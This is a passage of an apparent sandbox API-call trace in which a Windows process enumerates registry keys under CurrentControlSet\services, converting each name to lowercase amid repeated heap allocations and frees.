[0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.049] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.049] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.050] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0176.050] RegCloseKey (hKey=0x9c) returned 0x0 [0176.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.050] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0176.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.051] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.051] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0176.051] RegCloseKey (hKey=0x140) returned 0x0 [0176.051] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0176.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.051] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.052] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.052] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.052] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0176.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.053] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.053] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.053] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.053] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0176.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0176.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0176.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0176.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0176.055] 